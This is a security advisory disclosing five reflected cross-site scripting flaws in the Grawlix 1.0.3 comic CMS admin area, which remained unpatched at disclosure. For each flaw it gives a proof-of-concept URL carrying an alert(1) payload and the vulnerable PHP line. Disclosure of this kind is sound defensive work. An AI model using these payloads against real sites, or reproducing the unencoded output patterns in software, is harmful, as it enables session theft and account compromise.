Grawlix 1.0.3 Cross Site Scripting

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: Grawlix 1.0.3  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website: http://www.getgrawlix.com/  
Vulnerability Type: XSS  
Remote Exploitable: Yes  
Reported to vendor: 11/17/2015  
Disclosed to public: 12/21/2015  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
CVSS  
  
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N  
  
Description  
  
Grawlix is a CMS for publishing comics, which is written in PHP. In version  
1.0.3 and possibly prior versions, it contains multiple reflected XSS  
vulnerabilities.  
  
Successful exploitation may lead to the injection of JavaScript keyloggers, the  
stealing of cookies, or the bypassing of CSRF protection.  
  
3. Details  
  
XSS 1  
  
When searching for a book in the admin area, the keyword parameter is echoed  
unencoded inside the value attribute of an input tag, leading to XSS.  
  
Proof of Concept:  
  
  
http://localhost/grawlix-1.0.3/_admin/book.view.php?keyword=" autofocus onfocus="alert(1)  
  
Code:  
  
  
_admin/book.view.php  
<input type="search" name="keyword" id="keyword" placeholder="Search for" value="$keyword"/>  
  
XSS 2  
  
The slot.label-set.ajax.php script echoes all GET parameters unencoded, leading  
to XSS.  
  
Proof of Concept:  
  
  
http://localhost/grawlix-1.0.3/_admin/slot.label-set.ajax.php?x=<script>alert(1)</script>  
  
Code:  
  
  
_admin/slot.label-set.ajax.php  
echo '<pre>$_GET|';print_r($_GET);echo '|</pre>';  
  
XSS 3  
  
The edit_id parameter of the site.nav-edit.ajax.php is vulnerable to XSS.  
  
Proof of Concept:  
  
  
http://localhost/grawlix-1.0.3/_admin/site.nav-edit.ajax.php?edit_id="><script>alert(1)</script>  
  
Code:  
  
  
_admin/site.nav-edit.ajax.php  
$edit_id = $_GET['edit_id'];  
[...]  
$modal->value($edit_id);  
  
_admin/lib/GrlxForm.php  
$this->value ? $value = ' value="'.$this->value.'"' : null;  
  
XSS 4  
  
When viewing the book overview, the start_sort_order parameter is vulnerable to  
XSS.  
  
Proof of Concept:  
  
  
http://localhost/grawlix-1.0.3/_admin/book.view.php?delete_page_id=1&start_sort_order=" onmouseover="alert(1)  
  
Code:  
  
  
_admin/book.view.php  
$delete_link->query("delete_page_id=$val[id]&start_sort_order=$start_sort_order");  
  
XSS 5 (limited)  
  
In two scripts, the page_id value is put into a hidden input element without  
encoding quotes. It may be possible to execute JavaScript via a style element  
in older browsers.  
  
Proof of Concept:  
  
  
http://localhost/grawlix-1.0.3/_admin/sttc.xml-edit.php?msg=created&page_id=" style="STYLE  
http://localhost/grawlix-1.0.3/_admin/book.page-edit.php?page_id=" style="STYLE  
  
4. Solution  
  
This issue was not fixed by the vendor.  
  
5. Report Timeline  
  
11/17/2015 Informed Vendor about Issue (no reply)  
12/10/2015 Reminded Vendor of Disclosure Date (no reply)  
12/21/2015 Disclosed to public  
  
  
Blog Reference:  
https://blog.curesec.com/article/blog/Grawlix-103-XSS-129.html  
  
--  
blog: https://blog.curesec.com  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany  
  
  
`